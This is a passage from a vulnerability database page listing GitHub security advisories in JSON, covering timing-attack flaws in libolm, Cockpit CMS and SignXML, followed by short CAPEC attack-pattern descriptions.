"severity": "CRITICAL"
},
"details": "An issue was discovered in Matrix libolm (aka Olm) through 3.2.16. The AES implementation is vulnerable to cache-timing attacks due to use of S-boxes. This is related to software that uses a lookup table for the SubWord step. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.",
"id": "GHSA-gc66-2jq6-66c6",
"modified": "2024-08-23T00:31:39Z",
"published": "2024-08-22T18:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45191"
},
{
"type": "WEB",
"url": "https://gitlab.matrix.org/matrix-org/olm"
},
{
"type": "WEB",
"url": "https://gitlab.matrix.org/matrix-org/olm/-/commit/6d4b5b07887821a95b144091c8497d09d377f985"
},
{
"type": "WEB",
"url": "https://news.ycombinator.com/item?id=41249371"
},
{
"type": "WEB",
"url": "https://soatok.blog/2024/08/14/security-issues-in-matrixs-olm-library"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GM9C-QWH2-H88C
Vulnerability from github – Published: 2026-10-12 21:31 – Updated: 2026-10-12 21:31Cockpit CMS 2.14.1 contains an observable timing discrepancy vulnerability that allows unauthenticated attackers to enumerate accounts due to an incomplete timing fix in /auth/check. Attackers can post login attempts and measure response times, since existing accounts incur two bcrypt operations versus one, revealing valid usernames and email addresses.
{
"affected": [],
"aliases": [
"CVE-2026-109379"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-12T21:17:11Z",
"severity": "MODERATE"
},
"details": "Cockpit CMS 2.14.1 contains an observable timing discrepancy vulnerability that allows unauthenticated attackers to enumerate accounts due to an incomplete timing fix in /auth/check. Attackers can post login attempts and measure response times, since existing accounts incur two bcrypt operations versus one, revealing valid usernames and email addresses.",
"id": "GHSA-gm9c-qwh2-h88c",
"modified": "2026-10-12T21:31:58Z",
"published": "2026-10-12T21:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-109379"
},
{
"type": "WEB",
"url": "https://github.com/Cockpit-HQ/Cockpit/issues/328"
},
{
"type": "WEB",
"url": "https://github.com/Cockpit-HQ/Cockpit/commit/5d65ae7b63a261a63e8809e5fba857ef3eadb2ac"
},
{
"type": "WEB",
"url": "https://github.com/Cockpit-HQ/Cockpit"
},
{
"type": "WEB",
"url": "https://github.com/Cockpit-HQ/Cockpit/blob/2.14.1/modules/App/Controller/Auth.php"
},
{
"type": "WEB",
"url": "https://github.com/Cockpit-HQ/Cockpit/blob/2.14.1/modules/App/Helper/Auth.php"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/cockpit-cms-2.14.1-account-enumeration-via-timing-discrepancy-in-auth-check"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GMHF-GG8W-JW42
Vulnerability from github – Published: 2025-06-05 00:37 – Updated: 2025-06-05 00:37When verifying signatures with X509 certificate validation turned off and HMAC shared secret set (signxml.XMLVerifier.verify(require_x509=False, hmac_key=...), prior versions of SignXML are vulnerable to a potential timing attack. The verifier may leak information about the correct HMAC when comparing it with the user supplied hash, allowing users to reconstruct the correct HMAC for any data.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "signxml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48995"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-05T00:37:19Z",
"nvd_published_at": "2025-06-02T17:15:41Z",
"severity": "MODERATE"
},
"details": "When verifying signatures with X509 certificate validation turned off and HMAC shared secret set (`signxml.XMLVerifier.verify(require_x509=False, hmac_key=...`), prior versions of SignXML are vulnerable to a potential timing attack. The verifier may leak information about the correct HMAC when comparing it with the user supplied hash, allowing users to reconstruct the correct HMAC for any data.",
"id": "GHSA-gmhf-gg8w-jw42",
"modified": "2025-06-05T00:37:19Z",
"published": "2025-06-05T00:37:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/XML-Security/signxml/security/advisories/GHSA-gmhf-gg8w-jw42"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48995"
},
{
"type": "WEB",
"url": "https://github.com/XML-Security/signxml/commit/1b501faaacf34cf978a52dbc6915ec11e27611cd"
},
{
"type": "PACKAGE",
"url": "https://github.com/XML-Security/signxml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SignXML\u0027s signature verification with HMAC is vulnerable to a timing attack"
}
No mitigation information available for this CWE.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-541: Application Fingerprinting
An adversary engages in fingerprinting activities to determine the type or version of an application installed on a remote target.
CAPEC-580: System Footprinting
An adversary engages in active probing and exploration activities to determine security information about a remote target system. Often times adversaries will rely on remote applications that can be probed for system configurations.